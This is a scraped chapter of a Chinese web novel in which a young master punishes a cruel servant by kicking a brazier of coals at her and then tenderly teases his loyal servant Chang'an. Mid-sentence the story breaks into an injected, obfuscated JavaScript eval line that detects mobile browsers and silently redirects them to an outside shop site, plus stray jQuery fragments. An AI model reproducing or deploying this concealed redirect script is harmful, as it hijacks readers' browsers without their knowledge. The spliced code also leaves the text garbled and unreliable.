赵嬷嬷连忙抬头。
大少爷坐在桌边,眼眸半阖,正看着她,神色一如既往的不经心,唇边却不再似晨时那般,含着那一抹即使是若有若无的笑。
他没有表情,眼神犹如一潭死水,平淡到……仿佛不似看活物。
像是在看死人。
赵嬷嬷终于发觉了不对劲。她原本认为大少爷是要拿住她的错处,以确保她的忠心,心中虽忐忑,却仍能维持最后那一分的镇定,因为知晓自己终究还有一条活路。
可此刻她突然不再那么确信了。
容渊视线轻轻从赵嬷嬷面上扫过,又轻飘飘地移开,他抬手拿起茶壶,一边倒着茶,一边对她说道:“听闻赵嬷嬷在浆洗房霸道极了,管教手下人很有一套,我这听玉苑今后怕是都要仰仗您了。”
赵嬷嬷遍体生寒,连忙又低低地伏下身,望着眼前那双皂靴,声音打颤:“奴才不敢,奴才不敢……”
“不敢?”容渊动作一顿,语气微微上扬,似有疑惑:“昨日在浆洗房,难道是我瞧错了不成?”
赵嬷嬷一愣,片刻后,忽然浑身一震。
赵嬷嬷原本一片杂乱的脑子骤然变得清明。
从昨日到今日,一幕幕记忆飞速地从眼前闪现而过:浆洗房大少爷踹她的那一脚,今晨大少爷不愿归还的那个杂役,方才始终跟随在大少爷身侧的那个人,那身熟悉的杂役衣裳,还有那道怯懦的说话声……
仿佛有一根线,将整件事情完完整整地串联在了一起。
赵嬷嬷心突突直跳,她跪伏在地上,突然什么也顾不得,仰起下巴,视线越过那一桌子丰盛的菜肴,胆战心惊地望向了坐在八仙桌另一方的那个人。
然后如同心中所想,见到了那张熟悉的脸。
一张比寻常女子都还要白净秀致的少年的面容。
他正低着头,端坐在大少爷身边,双手捧着大少爷方才亲自倒好、递到他手里的茶水,小口小口地喝着。
怀里还抱着只雪白的兔子。
若不是赵嬷嬷认得他,若不是他此刻还穿着那身杂役的衣裳,恐怕真要以为他是这府上的哪一个主子。
赵嬷嬷满脸呆滞地、又难以置信地僵在了原地。
从昨日到今日,这一切的一切,难道就是因为、竟是因为……
红箩炭在火焰中膨胀,发出噼里啪啦的闷响。
晃动的烛火下,那分明是一张少年人的脸,嗓音甚至还含着变声期的沙哑,却比这府中任何一个人都还要令赵嬷嬷感到恐惧。
那张俊美如画的少年面容下,藏着的是鬼魅罗刹。
容渊眉目微敛,慢条斯理道:“我不是不讲道理的人,长安身上的伤,你哪条腿踢的,便折了还来,此前的事我便算作一笔勾销。”
“如若不然。”
容渊顿了顿,忽的抬脚将脚下炭盆踢入赵嬷嬷怀中,声音兀地冷了下来:“便和田氏一同到衙门里申冤吧。”
赵嬷嬷被烫得跳了起来,更加狼狈地跌在地上,挨到了炭盆的胳膊和腿密密麻麻爬上一阵难以忍受的灼热疼痛,疼得她几乎要尖叫出声。
但她死死咬着牙,不敢发出哪怕一声地叫喊,稍缓过来了一点儿,便又爬起来,哆哆嗦嗦地跪回到地上,一声声地磕头求饶:“大少爷饶命!大少爷饶命……”
容渊却已懒得再侧眼瞧她,语气又恢复了没有情绪的浅淡,轻声道:“滚吧。”
话音落地,赵嬷嬷似被掐住了嗓子,很快噤了声。
她再次冲容渊磕了个头,踉踉跄跄地爬起来,弓着身子退到门外,小心翼翼地阖上了房门,脚步凌乱地走了。
容渊转回身,瞧了长安少时,轻语道:“会觉得我做得太过了吗?”
长安摇了摇头,没有立刻说话,很警惕地又偏头瞧了瞧门,没瞧见人影子,才连忙轻轻搁下了手里喝了半天也没喝进去几滴的茶水。
长安挨近过去,很着急地拿两只手攥住了容渊的衣袖,竭力压低了声音问容渊:“赵嬷嬷会跑去找主母吗?大少爷今日对上了主母,她以后肯定要为难大少爷的,怎么办呀?奴才能为大少爷做些什么吗?”
容渊弯下了眉宇,很愉悦地笑了起来。
“不会。”他将长安捉着他袖子的手握进手心里,耐心地依次回答长安的问题:“不怕。”
“方氏最近顾不上这里了。”
“长安什么都不用做,只要留在这里,待在我身边,陪着我,便是我最想要长安为我做的事情了。”
*
因为头一天夜里守夜不小心睡了过去,这天夜里长安干脆不再躺下,靠坐在床沿边上,撑着身子熬着。
直到天将亮,长安再次从瞌睡中惊醒,转头瞧见大少爷仍在榻上好好地睡着,脸上才终于露出了安心的笑容。
然后终于熬不住,一头扎进了梦乡。
再次醒来的时候天光已经大亮了,隔着层层的床帐都能瞧见日光,仿佛已经到了正午,长安望着头顶的床帐迷糊了会儿,拥着被褥坐起来,茫然地发觉自己被罩在四方的床帐里。
眨了眨眼睛,再定睛一瞧,才惊诧地发觉自己竟坐在床榻上。
还没来得及惊得蹦起来,一扭头,便更惊诧地瞧见了躺在身旁,正睁着漆黑的凤眸,静静地瞧着他的大少爷。
长安僵在原地,哑着一口嗓子,结结巴巴地问:“大、大少爷……奴才、奴才怎么……”
容渊支起半边身子,撑着额侧,说:“天将亮的时候你自己爬上来的。”
长安正努力措辞的脑袋卡了壳。
“……啊?”
容渊表情一本正经地忽悠长安:“我正睡着,听见你哼哼唧唧的,一睁眼便见你裹着褥子往榻上爬。”
容渊:“莫不是……”
瞧着长安羞得粉白的面颊,容渊坐起身,俯身过去,凑得更近了些,低声问道:“莫不是白日里便时时想着要与我同榻而眠,才日有所思夜有所梦……”
容渊的话没能全部说完。
因为长安已经抱着褥子,连滚带爬地爬了下床,揣起自己叠好搁在角落的衣裳,一溜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949086|142499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烟似的跑了。
容渊终于再憋不住,倒回床榻上低低地笑了起来。
长安跑去了外间摸了半天小兔子,耳朵颜色依旧没比小兔子的耳朵浅多少,他抱着自己的脑袋,呜咽着把脸埋进了膝盖里。
“长安。”这时,大少爷的声音忽然从里间传了过来:“过来帮我个忙。”
长安耳朵竖了竖,条件反射地从地上蹦起来,想也不想便跑了进去。
容渊神色一如既往地平静,仿若方才什么事都没有发生,静静地看着长安走近,伸手将腰封递给长安,说:“替我系腰带。”
长安瞬间抛开脑子里所有杂念,点点头,专心致志地伺候起大少爷来。
长安替大少爷系好了腰带,理顺了衣襟,一切都非常顺利,直到要从大少爷怀里往后退出去的时候,一直张着手,一动不动的容渊手忽然落下来,把他给捉住了。
“跑什么?”
容渊笑了起来,拎着长安的后领子,像拎一只小猫一样将长安捉了回来,转过来,瞧着长安,声音低沉地问他:“穿得这么少,不怕冷?”
冷风从被拉开的领口灌进来,长安打了个寒颤,嘴硬道:“不冷的。”
容渊不语,伸手拿过昨晚挂在木桁上,从箱底翻出来的最厚实的那件羊毛斗篷,不由分说地披到了长安的肩上。
“是后半夜炭盆熄了,我嫌太冷,想和你挨着睡,才将你搬上去的。”容渊忽然解释说。
长安渐渐睁大了眼睛。
容渊牢牢地将斗篷系带打上了结,伸出手,轻轻碰了碰贴着长安面颊的雪白毛领,说:“好好穿着,不许脱下来,既然要穿这身薄的衣裳,便要把披风披上。”
长安眼巴巴地望着容渊,好一会儿,垂下眼,长睫眨了眨,盯着颈边的一圈白色绒毛,小声说:“被人瞧见,会说咱们听玉苑里没规矩的。”
容渊又笑,说:“你是我听玉苑里的大管事,大少爷的心腹,谁敢置喙半句,直接撵出去。”
长安眼睛一亮。
他也开心得跟着笑起来,但很快,眼睛里又掩饰不住地染上了忧愁。
大少爷这样信任长安,给长安委以重任,交付了这样重要的任务,长安本应当高兴才是,可一想起院里如今的情形,长安又十分地发愁。
昨夜容老爷离开听玉苑时将院子里所有丫鬟小厮都带走了,也未吩咐人再送新的过来,也不知是忘了还是不打算送人来了。
长安不怕吃苦,劈柴、烧水、洗衣、做饭……再累再难的活长安都能做。
可是大少爷金尊玉贵,只长安一个人,总归是不够的。
白日里长安去院后劈柴,守在伙房烧火,大少爷若是渴了,谁给他添水?
大少爷哪里不舒服了,长安来不及赶去伺候怎么办呢?
长安忧愁不已,眉头都不知不觉地皱了起来。
容渊无奈,摸了摸长安的脑袋,牵起他往外走去,声音又轻又缓,无端透着令人感到安心的味道:“跟我来,带你去认认咱们院子里的新人。”